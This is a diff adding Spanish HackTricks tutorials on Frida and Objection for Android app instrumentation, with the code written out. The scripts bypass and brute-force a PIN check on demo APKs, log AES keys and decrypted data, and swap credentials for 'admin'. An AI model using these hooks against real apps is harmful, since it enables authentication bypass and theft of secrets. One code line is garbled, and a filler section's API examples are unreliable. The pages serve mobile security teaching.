var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
send("Activity HIT!!!");
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### Enganchando funciones con parámetros y recuperando el valor
|
||||
|
||||
Enganchando una función de descifrado. Imprime la entrada, llama a la función original para descifrar la entrada y finalmente, imprime los datos en texto plano:
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
for (var i=0; i < data.length; i++){
|
||||
ret += data[i].toString();
|
||||
}
|
||||
return ret
|
||||
}
|
||||
var aes_decrypt = Java.use("sg.vantagepoint.a.a");
|
||||
aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) {
|
||||
send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding");
|
||||
send("Key : " + getString(var_0));
|
||||
send("Encrypted : " + getString(var_1));
|
||||
var ret = this.a.overload("[B","[B").call(this,var_0,var_1);
|
||||
send("Decrypted : " + ret);
|
||||
|
||||
var flag = "";
|
||||
for (var i=0; i < ret.length; i++){
|
||||
flag += String.fromCharCode(ret[i]);
|
||||
}
|
||||
send("Decrypted flag: " + flag);
|
||||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### Enganchando funciones y llamándolas con nuestra entrada
|
||||
|
||||
Enganche una función que reciba una cadena y llámela con otra cadena (de [aquí](https://11x256.github.io/Frida-hooking-android-part-2/)).
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
my_class.fun.overload("java.lang.String").implementation = function(x){ //hooking the new function
|
||||
var my_string = string_class.$new("My TeSt String#####"); //creating a new String by using `new` operator
|
||||
console.log("Original arg: " +x );
|
||||
var ret = this.fun(my_string); // calling the original function with the new String, and putting its return value in ret variable
|
||||
console.log("Return value: "+ret);
|
||||
return ret;
|
||||
};
|
||||
```
|
||||
### Obteniendo un objeto ya creado de una clase
|
||||
|
||||
Si deseas extraer algún atributo de un objeto creado, puedes usar esto.
|
||||
|
||||
En este ejemplo, verás cómo obtener el objeto de la clase `my_activity` y cómo llamar a la función `.secret()` que imprimirá un atributo privado del objeto:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||
console.log("Found instance: "+instance);
|
||||
console.log("Result of secret func: " + instance.secret());
|
||||
},
|
||||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: ¡Regístrate en **Intigriti**, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,150 @@
|
|||
# Tutorial de Frida 1
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Desde**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Código fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
## Python
|
||||
|
||||
Frida te permite **insertar código JavaScript** dentro de las funciones de una aplicación en ejecución. Pero puedes usar **python** para **llamar** los hooks e incluso para **interactuar** con los **hooks**.
|
||||
|
||||
Este es un script de python fácil que puedes usar con todos los ejemplos propuestos en este tutorial:
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
|
||||
with open(sys.argv[1], 'r') as f:
|
||||
jscode = f.read()
|
||||
process = frida.get_usb_device().attach('infosecadventures.fridademo')
|
||||
script = process.create_script(jscode)
|
||||
print('[ * ] Running Frida Demo application')
|
||||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
Llama al script:
|
||||
```bash
|
||||
python hooking.py <hookN.js>
|
||||
```
|
||||
Es útil saber cómo usar Python con Frida, pero para estos ejemplos también se puede llamar directamente a Frida utilizando las herramientas de línea de comandos de Frida:
|
||||
```
|
||||
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
|
||||
```
|
||||
## Hook 1 - Bypass de Booleanos
|
||||
|
||||
Aquí puedes ver cómo **enganchar** un método **booleano** (_checkPin_) de la clase: _infosecadventures.fridademo.utils.PinUtil_
|
||||
```javascript
|
||||
//hook1.js
|
||||
Java.perform(function() {
|
||||
console.log("[ * ] Starting implementation override...")
|
||||
var MainActivity = Java.use("infosecadventures.fridademo.utils.PinUtil");
|
||||
MainActivity.checkPin.implementation = function(pin){
|
||||
console.log("[ + ] PIN check successfully bypassed!")
|
||||
return true;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
```
|
||||
python hooking.py hook1.js
|
||||
```
|
||||
## Hook 2 - Fuerza Bruta de Funciones
|
||||
|
||||
### Función no estática
|
||||
|
||||
Si deseas llamar a una función no estática de una clase, **primero necesitas una instancia** de esa clase. Luego, puedes usar esa instancia para llamar a la función.\
|
||||
Para hacerlo, podrías **encontrar una instancia existente** y usarla:
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
console.log("[ * ] Starting PIN Brute-force, please wait...");
|
||||
Java.choose("infosecadventures.fridademo.utils.PinUtil", {
|
||||
onMatch: function(instance) {
|
||||
console.log("[ * ] Instance found in memory: " + instance);
|
||||
for(var i = 1000; i < 9999; i++){
|
||||
if(instance.checkPin(i + "") == true){
|
||||
console.log("[ + ] Found correct PIN: " + i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
},
|
||||
onComplete: function() { }
|
||||
});
|
||||
});
|
||||
```
|
||||
En este caso, esto no funciona ya que no hay ninguna instancia y la función es estática.
|
||||
|
||||
### Función Estática
|
||||
|
||||
Si la función es estática, simplemente puedes llamarla:
|
||||
```javascript
|
||||
//hook2.js
|
||||
Java.perform(function () {
|
||||
console.log("[ * ] Starting PIN Brute-force, please wait...")
|
||||
var PinUtil = Java.use("infosecadventures.fridademo.utils.PinUtil");
|
||||
|
||||
for(var i=1000; i < 9999; i++)
|
||||
{
|
||||
if(PinUtil.checkPin(i+"") == true){
|
||||
console.log("[ + ] Found correct PIN: " + i);
|
||||
}
|
||||
}
|
||||
});
|
||||
```
|
||||
## Hook 3 - Recuperando argumentos y valor de retorno
|
||||
|
||||
Podrías enganchar una función y hacer que **imprima** el valor de los **argumentos pasados** y el valor del **valor de retorno:**
|
||||
```javascript
|
||||
//hook3.js
|
||||
Java.perform(function() {
|
||||
console.log("[ * ] Starting implementation override...")
|
||||
|
||||
var EncryptionUtil = Java.use("infosecadventures.fridademo.utils.EncryptionUtil");
|
||||
EncryptionUtil.encrypt.implementation = function(key, value){
|
||||
console.log("Key: " + key);
|
||||
console.log("Value: " + value);
|
||||
var encrypted_ret = this.encrypt(key, value); //Call the original function
|
||||
console.log("Encrypted value: " + encrypted_ret);
|
||||
return encrypted_ret;
|
||||
}
|
||||
});
|
||||
```
|
||||
## Importante
|
||||
|
||||
En este tutorial has enganchado métodos usando el nombre del método y _.implementation_. Pero si hubiera **más de un método** con el mismo nombre, necesitarás **especificar el método** que deseas enganchar **indicando el tipo de los argumentos**.
|
||||
|
||||
Puedes ver eso en [el siguiente tutorial](frida-tutorial-2.md).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,297 @@
|
|||
# Tutorial de Frida 2
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 y 4)\
|
||||
**APKs y código fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
La parte 1 es muy fácil.
|
||||
|
||||
**Algunas partes del código original no funcionan y han sido modificadas aquí.**
|
||||
|
||||
## Parte 2
|
||||
|
||||
Aquí puedes ver un ejemplo de cómo **enganchar 2 funciones con el mismo nombre** pero diferentes parámetros.\
|
||||
También aprenderás cómo **llamar a una función con tus propios parámetros**.\
|
||||
Y finalmente, hay un ejemplo de cómo **encontrar una instancia de una clase y hacer que llame a una función**.
|
||||
```javascript
|
||||
//s2.js
|
||||
console.log("Script loaded successfully ");
|
||||
Java.perform(function x() {
|
||||
console.log("Inside java perform function");
|
||||
var my_class = Java.use("com.example.a11x256.frida_test.my_activity");
|
||||
//Hook "fun" with parameters (int, int)
|
||||
my_class.fun.overload("int", "int").implementation = function (x, y) { //hooking the old function
|
||||
console.log("original call: fun(" + x + ", " + y + ")");
|
||||
var ret_value = this.fun(2, 5);
|
||||
return ret_value;
|
||||
};
|
||||
//Hook "fun" with paramater(String)
|
||||
var string_class = Java.use("java.lang.String");
|
||||
my_class.fun.overload("java.lang.String").implementation = function (x) { //hooking the new function
|
||||
console.log("*")
|
||||
//Create a new String and call the function with your input.
|
||||
var my_string = string_class.$new("My TeSt String#####");
|
||||
console.log("Original arg: " + x);
|
||||
var ret = this.fun(my_string);
|
||||
console.log("Return value: " + ret);
|
||||
console.log("*")
|
||||
return ret;
|
||||
};
|
||||
//Find an instance of the class and call "secret" function.
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
onMatch: function (instance) {
|
||||
console.log(tring, and the it has"Found instance: " + instance);
|
||||
console.log("Result of secret func: " + instance.secret());
|
||||
},
|
||||
onComplete: function () { }
|
||||
});
|
||||
});
|
||||
```
|
||||
Se puede observar que para crear un String primero se ha referenciado la clase _java.lang.String_ y luego se ha creado un objeto _$new_ de esa clase con un String como contenido. Esta es la forma correcta de crear un nuevo objeto de una clase. Sin embargo, en este caso, se podría pasar a `this.fun()` cualquier String como: `this.fun("¡hola!")`.
|
||||
```python
|
||||
//loader.py
|
||||
import frida
|
||||
import time
|
||||
|
||||
device = frida.get_usb_device()
|
||||
pid = device.spawn(["com.example.a11x256.frida_test"])
|
||||
device.resume(pid)
|
||||
time.sleep(1) #Without it Java.perform silently fails
|
||||
session = device.attach(pid)
|
||||
script = session.create_script(open("s2.js").read())
|
||||
script.load()
|
||||
|
||||
#prevent the python script from terminating
|
||||
raw_input()
|
||||
```
|
||||
|
||||
```
|
||||
python loader.py
|
||||
```
|
||||
## Parte 3
|
||||
|
||||
### Python
|
||||
|
||||
Ahora verás cómo enviar comandos a la aplicación enganchada a través de Python para llamar a una función:
|
||||
```python
|
||||
//loader.py
|
||||
import time
|
||||
import frida
|
||||
|
||||
def my_message_handler(message, payload):
|
||||
print message
|
||||
print payload
|
||||
|
||||
|
||||
device = frida.get_usb_device()
|
||||
pid = device.spawn(["com.example.a11x256.frida_test"])
|
||||
device.resume(pid)
|
||||
time.sleep(1) # Without it Java.perform silently fails
|
||||
session = device.attach(pid)
|
||||
with open("s3.js") as f:
|
||||
script = session.create_script(f.read())
|
||||
script.on("message", my_message_handler)
|
||||
script.load()
|
||||
|
||||
command = ""
|
||||
while 1 == 1:
|
||||
command = raw_input("Enter command:\n1: Exit\n2: Call secret function\n3: Hook Secret\nchoice:")
|
||||
if command == "1":
|
||||
break
|
||||
elif command == "2":
|
||||
script.exports.callsecretfunction()
|
||||
elif command == "3":
|
||||
script.exports.hooksecretfunction()
|
||||
```
|
||||
El comando "**1**" **saldrá**, el comando "**2**" encontrará una **instancia de la clase y llamará a la función privada** _**secret()**_ y el comando "**3**" **enganchará** la función _**secret()**_ para que **devuelva** una **cadena diferente**.
|
||||
|
||||
Entonces, si llamas a "**2**" obtendrás el **secreto real**, pero si llamas a "**3**" y luego a "**2**" obtendrás el **secreto falso**.
|
||||
|
||||
### JS
|
||||
```javascript
|
||||
console.log("Script loaded successfully ");
|
||||
var instances_array = [];
|
||||
function callSecretFun() {
|
||||
Java.perform(function () {
|
||||
if (instances_array.length == 0) { // if array is empty
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
onMatch: function (instance) {
|
||||
console.log("Found instance: " + instance);
|
||||
instances_array.push(instance)
|
||||
console.log("Result of secret func: " + instance.secret());
|
||||
},
|
||||
onComplete: function () { }
|
||||
|
||||
});
|
||||
}
|
||||
else {//else if the array has some values
|
||||
console.log("Result of secret func: " + instances_array[0].secret());
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
function hookSecret() {
|
||||
Java.perform(function () {
|
||||
var my_class = Java.use("com.example.a11x256.frida_test.my_activity");
|
||||
var string_class = Java.use("java.lang.String");
|
||||
my_class.secret.overload().implementation = function(){
|
||||
var my_string = string_class.$new("TE ENGANNNNEEE");
|
||||
return my_string;
|
||||
}
|
||||
});
|
||||
}
|
||||
rpc.exports = {
|
||||
callsecretfunction: callSecretFun,
|
||||
hooksecretfunction: hookSecret
|
||||
};
|
||||
```
|
||||
## Parte 4
|
||||
|
||||
Aquí verás cómo hacer que **Python y JS interactúen** utilizando objetos JSON. JS utiliza la función `send()` para enviar datos al cliente de Python, y Python utiliza la función `post()` para enviar datos al script de JS. El **JS bloqueará la ejecución** hasta que reciba una respuesta de Python.
|
||||
|
||||
### Python
|
||||
```python
|
||||
//loader.py
|
||||
import time
|
||||
import frida
|
||||
|
||||
def my_message_handler(message, payload):
|
||||
print message
|
||||
print payload
|
||||
if message["type"] == "send":
|
||||
print message["payload"]
|
||||
data = message["payload"].split(":")[1].strip()
|
||||
print 'message:', message
|
||||
data = data.decode("base64")
|
||||
user, pw = data.split(":")
|
||||
data = ("admin" + ":" + pw).encode("base64")
|
||||
print "encoded data:", data
|
||||
script.post({"my_data": data}) # send JSON object
|
||||
print "Modified data sent"
|
||||
|
||||
|
||||
device = frida.get_usb_device()
|
||||
pid = device.spawn(["com.example.a11x256.frida_test"])
|
||||
device.resume(pid)
|
||||
time.sleep(1)
|
||||
session = device.attach(pid)
|
||||
with open("s4.js") as f:
|
||||
script = session.create_script(f.read())
|
||||
script.on("message", my_message_handler) # register the message handler
|
||||
script.load()
|
||||
raw_input()
|
||||
```
|
||||
### JS
|
||||
|
||||
### Descripción
|
||||
|
||||
JavaScript (JS) es un lenguaje de programación interpretado, de alto nivel y orientado a objetos. Es utilizado principalmente en el desarrollo web para crear interactividad en las páginas. También es utilizado en el desarrollo de aplicaciones móviles y de escritorio.
|
||||
|
||||
### Introducción a Frida y JS
|
||||
|
||||
Frida utiliza JavaScript como lenguaje de scripting para interactuar con las aplicaciones. Esto significa que podemos utilizar todas las funcionalidades de JavaScript para manipular la aplicación en tiempo de ejecución.
|
||||
|
||||
Frida proporciona una API para interactuar con la aplicación en tiempo de ejecución. Esta API está disponible en JavaScript y en Python. En este tutorial, nos centraremos en la API de JavaScript.
|
||||
|
||||
### Ejecución de código JS en Frida
|
||||
|
||||
Para ejecutar código JS en Frida, primero debemos crear un script de Frida en JavaScript. Este script se ejecutará en el contexto de la aplicación que estamos analizando.
|
||||
|
||||
Para crear un script de Frida en JavaScript, podemos utilizar cualquier editor de texto. En este tutorial, utilizaremos Visual Studio Code.
|
||||
|
||||
El siguiente es un ejemplo de script de Frida en JavaScript:
|
||||
|
||||
```javascript
|
||||
console.log("Hello, world!");
|
||||
```
|
||||
|
||||
Para ejecutar este script en Frida, primero debemos guardar el script en un archivo con extensión `.js`. Luego, podemos ejecutar el siguiente comando en la terminal:
|
||||
|
||||
```
|
||||
frida -U -f com.example.app -l script.js --no-pause
|
||||
```
|
||||
|
||||
Este comando ejecutará el script `script.js` en la aplicación `com.example.app`. El parámetro `--no-pause` evita que Frida se detenga después de ejecutar el script.
|
||||
|
||||
### Interacción con la aplicación
|
||||
|
||||
Una vez que hemos ejecutado nuestro script en Frida, podemos interactuar con la aplicación utilizando la API de Frida.
|
||||
|
||||
Por ejemplo, podemos utilizar la siguiente función para obtener el valor de una variable en la aplicación:
|
||||
|
||||
```javascript
|
||||
function getVariableValue(variableName) {
|
||||
return Java.use("com.example.app.MainActivity").$new()[variableName].value;
|
||||
}
|
||||
```
|
||||
|
||||
Esta función utiliza la API de Java de Frida para obtener el valor de una variable en la clase `MainActivity` de la aplicación.
|
||||
|
||||
También podemos utilizar la siguiente función para modificar el valor de una variable en la aplicación:
|
||||
|
||||
```javascript
|
||||
function setVariableValue(variableName, value) {
|
||||
Java.use("com.example.app.MainActivity").$new()[variableName].value = value;
|
||||
}
|
||||
```
|
||||
|
||||
Esta función utiliza la API de Java de Frida para modificar el valor de una variable en la clase `MainActivity` de la aplicación.
|
||||
|
||||
### Conclusión
|
||||
|
||||
JavaScript es un lenguaje de programación muy poderoso que se puede utilizar para manipular aplicaciones en tiempo de ejecución con Frida. La API de JavaScript de Frida proporciona todas las funcionalidades necesarias para interactuar con la aplicación y manipular su comportamiento.
|
||||
```javascript
|
||||
console.log("Script loaded successfully ");
|
||||
Java.perform(function () {
|
||||
var tv_class = Java.use("android.widget.TextView");
|
||||
tv_class.setText.overload('java.lang.CharSequence').implementation = function (x) {
|
||||
var string_to_send = x.toString();
|
||||
var string_to_recv = "";
|
||||
send(string_to_send); // send data to python code
|
||||
recv(function (received_json_object) {
|
||||
string_to_recv = received_json_object.my_data;
|
||||
}).wait(); //block execution till the message is received
|
||||
console.log("Final string_to_recv: "+ string_to_recv)
|
||||
return this.setText(string_to_recv);
|
||||
}
|
||||
});
|
||||
```
|
||||
Hay una parte 5 que no voy a explicar porque no hay nada nuevo. Pero si quieres leerla, está aquí: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,257 @@
|
|||
# Tutorial de Objection
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
